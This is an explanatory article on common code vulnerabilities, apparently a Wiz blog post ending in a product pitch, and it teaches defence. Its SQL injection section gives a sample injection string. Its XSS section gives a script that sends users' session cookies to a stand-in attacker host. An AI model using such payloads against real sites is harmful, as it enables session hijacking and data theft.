What are code vulnerabilities?
Code vulnerabilities are weaknesses in software that attackers can exploit, potentially compromising security. These weaknesses, often caused by insecure coding practices, insufficient input validation, or insecure configurations, expose applications to risks like data breaches and unauthorized access. Vulnerabilities can arise due to developer errors or gaps in the software development process, making them a critical concern in modern application security.
In this article, we’ll look into various code vulnerabilities and the best practices to secure your code and applications. Let’s get started.
The Secure Coding Best Practices [Cheat Sheet]
With curated insights and easy-to-follow code snippets, this 11-page cheat sheet simplifies complex security concepts, empowering every developer to build secure, reliable applications.
Download cheat sheet
Code vulnerabilities and cloud environments
While cloud computing has the advantages of flexibility, scalability, and user accessibility, it also introduces evolving risks. Though code vulnerabilities are nothing new, the issues they cause are even more dangerous for applications running in the cloud. One vulnerability may affect many clients, making the effects far more wide-reaching than in on-premises environments.
One of the major reasons for this larger attack surface is that the cloud environment has various essential components, such as APIs, containers, and microservices. And misconfiguring cloud services, including identity access management (IAM), exposes code vulnerabilities that can be easily exploited by attackers.
For instance, a misconfigured storage bucket or an exposed database endpoint can turn into the target of choice by attackers looking for sensitive data. Lateral movement threats (where attackers, after exploiting one vulnerability, can move through the cloud infrastructure to access other critical systems) are another pressing risk. Together, these vulnerabilities show why code security measures and continuous monitoring are non-negotiable.
Top 6 common code vulnerabilities
1. SQL injection (SQLi)
SQL injection vulnerabilities are one of the most notorious (and common) types of software vulnerabilities. Here’s how it works: An attacker exploits an application's SQL queries by inserting malicious input into query parameters. If the application doesn’t sufficiently parse or filter the input it receives from the client, the attacker can use these malicious SQL entries to manipulate the database. SQL injections enable threat actors to bypass authentication, read customer or other records, alter or delete data, or even take full control of the database.
Imagine a password reset form where a user enters their email to receive a reset link. The backend SQL query might look like this:
SELECT email, username FROM users WHERE email = ':user_input';An attacker could input ' OR '1'='1 — to manipulate the query. This injection forces the database to return all usernames and email addresses from the users table instead of only the intended single entry. This could expose sensitive information, including emails and usernames, for every user in the system, which could be used for further attacks, phishing, or unauthorized access attempts.
2. Cross-site scripting (XSS)
Cross-site scripting (XSS) is a web application vulnerability that occurs when an application displays user-supplied input on web pages without proper filtering and encoding. Attackers can inject malicious scripts into the web pages, which then execute in the victim’s browser. The result is data leakage, session identity theft, website vandalism, or unauthorized actions performed on behalf of the user.
Consider a blog where people are allowed to post comments. If the site does not properly sanitize user input, an attacker could submit a comment containing a malicious script like this:
<script>document.location='http://malicious-site.com/steal-cookie?cookie= + document.cookie;If the website directly outputs this input without using sanitizing or escaping, each time a user loads the webpage, their browser will run the script. When executed, this script passes the user’s session cookie to the attacker’s server, and that would enable the attacker to impersonate the user on the blog.
3. Buffer overflow
A buffer overflow is when a program writes more data into a fixed-size block of memory—known as a buffer—than it can contain. When the extra data is written, it overwrites some of the adjacent memory space, sometimes corrupting data or providing attackers with a means of injecting malicious code. Overflows are typically observed in low-level languages where memory management is manual, like C and C++, and exploiting these vulnerabilities can lead to full system compromise.
4. Insecure deserialization
Deserialization is the process of transforming data in a serialized format (for example, in JSON or XML) back into the object. Insecure deserialization takes place when untrusted data is deserialized with no checks on the content of the serialized objects. This can lead to remote code execution—where an attacker injects undesirable objects into the application that can execute any code or modify the flow of the application. For example, attackers can post strings that produce different results when they’re deserialized, such as running a system command or accessing a restricted resource.
5. Broken authentication and session management
The broken authentication vulnerability happens when an application fails to secure its authentication processes, meaning attackers can impersonate legitimate users. Poor session management is a related common vulnerability; problems managing sessions can let attackers hijack users’ sessions. Common authentication and session management issues include:
Weak password policies or password storage mechanisms
Exposed session tokens in URLs or cookies
Lack of multi-factor authentication (MFA)
Insecure handling of session timeouts or cookie expiration
Attackers can take advantage of these vulnerabilities by guessing passwords, hijacking session IDs, or using session ID exhaustion.
6. Security misconfigurations
A security misconfiguration is any improperly configured software, framework, or service that results in post-deployment security gaps. These misconfigurations are particularly risky in the cloud, where default settings, excessive permissions, or lack of network segmentation can expose sensitive data and critical resources. These errors make it easier for attackers to exploit vulnerabilities, escalate privileges, or access critical systems. Some common misconfigurations include:
Too many exposures, such as leaving unused services enabled or failing to change default passwords
Wrong permissions settings
Lack of security measures when creating default settings for cloud resources (e.g., storage buckets)
Misconfigurations provide attackers with easy access points to exploit. For example, a cloud storage bucket left open to the public can lead to the unauthorized exposure of sensitive data. Likewise, default admin username/password combinations on a web server may enable attackers to take over.
How to identify code vulnerabilities early
Identifying vulnerabilities in code early in the development process is critical to minimizing security risks. Here are several techniques and tools that help catch vulnerabilities before they lead to major issues:
Static application security testing (SAST): SAST tools work by scanning and analyzing the source code of a program for vulnerabilities without actually running it. SAST can detect problems such as SQL command injection, cross-site request forgery, and buffer overrun problems at the early stages of the SDLC.
Dynamic application security testing (DAST): DAST tools scan live, running applications to identify and detect vulnerabilities in real time. These tests mimic real external attacks to look for issues like broken authentication and insecure settings.
Infrastructure-as-code (IaC) scanning: IaC scanning analyzes code that defines cloud infrastructure (such as Terraform, CloudFormation, and ARM templates) to help detect misconfigurations within IaC templates before deployment. IaC scanning can be used to identify security risks like open storage buckets, excessive permissions, or exposed ports.
Code reviews and pair programming: Code reviews and pair programming techniques help developers notice the holes in other people’s code, making it easier to find vulnerable code and design flaws.
Penetration testing: Regularly conducting penetration tests allows security experts to simulate real-world attacks on an application, uncovering vulnerabilities that automated tools may not detect.
Best practices for managing code vulnerability risks
1. Leverage secure coding practices
Implement secure coding practices from the start. This involves validating inputs, handling errors correctly, and avoiding the hardcoding of sensitive information like credentials.
2. Conduct regular security training
Provide developers with regular security training to stay updated on the latest vulnerabilities and security best practices. Developers who are up-to-date on trends and practices are less likely to introduce vulnerabilities into the code.
3. Use security frameworks and tools
Leverage established security frameworks, such as OWASP, and use tools like automated scanners, dependency checkers, and vulnerability management platforms to identify and mitigate risks in real time.
4. Implement security by design
Make security a fundamental aspect of the software development lifecycle by integrating security controls and reviews at every phase of development, including design, coding, and testing.
5. Monitor and patch vulnerabilities
Continuously monitor applications for new vulnerabilities, and ensure that all software components, including third-party libraries, are regularly updated with the latest security patches.
6. Limit access and permissions
Follow the principle of least privilege (PoLP) by restricting access to sensitive areas of the system. Ensure that users and services have only the necessary permissions needed for their role.
Protect your code with Wiz
Code vulnerabilities are a critical threat to application security, especially when they’re found in complex systems. When it comes to the cloud, risks are heightened by factors such as shared infrastructure and misconfigurations. Code vulnerabilities in the cloud can cause serious damage, ranging from data leaks and service unavailability to brand damage. Luckily, getting to know these risks and implementing best practices drastically reduces such risks, helps you write secure code, and secures your applications.
Ultimately, strengthening your security posture begins with the right tools to identify and manage code vulnerabilities from the start. That’s where Wiz Code comes in. With a unified policy engine, customizable code security policies, and integration into your IDE, pull requests, and CI/CD pipelines, Wiz Code empowers your team to detect and prioritize vulnerabilities early in development. Real-time insights allow developers to address issues before they reach production, reducing risk and enhancing overall security. Ready to see how Wiz Code can proactively safeguard your applications? Schedule a demo with Wiz today to see how easy it can be to protect your code from vulnerabilities.
Secure your SDLC from start to finish
See why Wiz is one of the few cloud security platforms that security and devops teams both love to use.
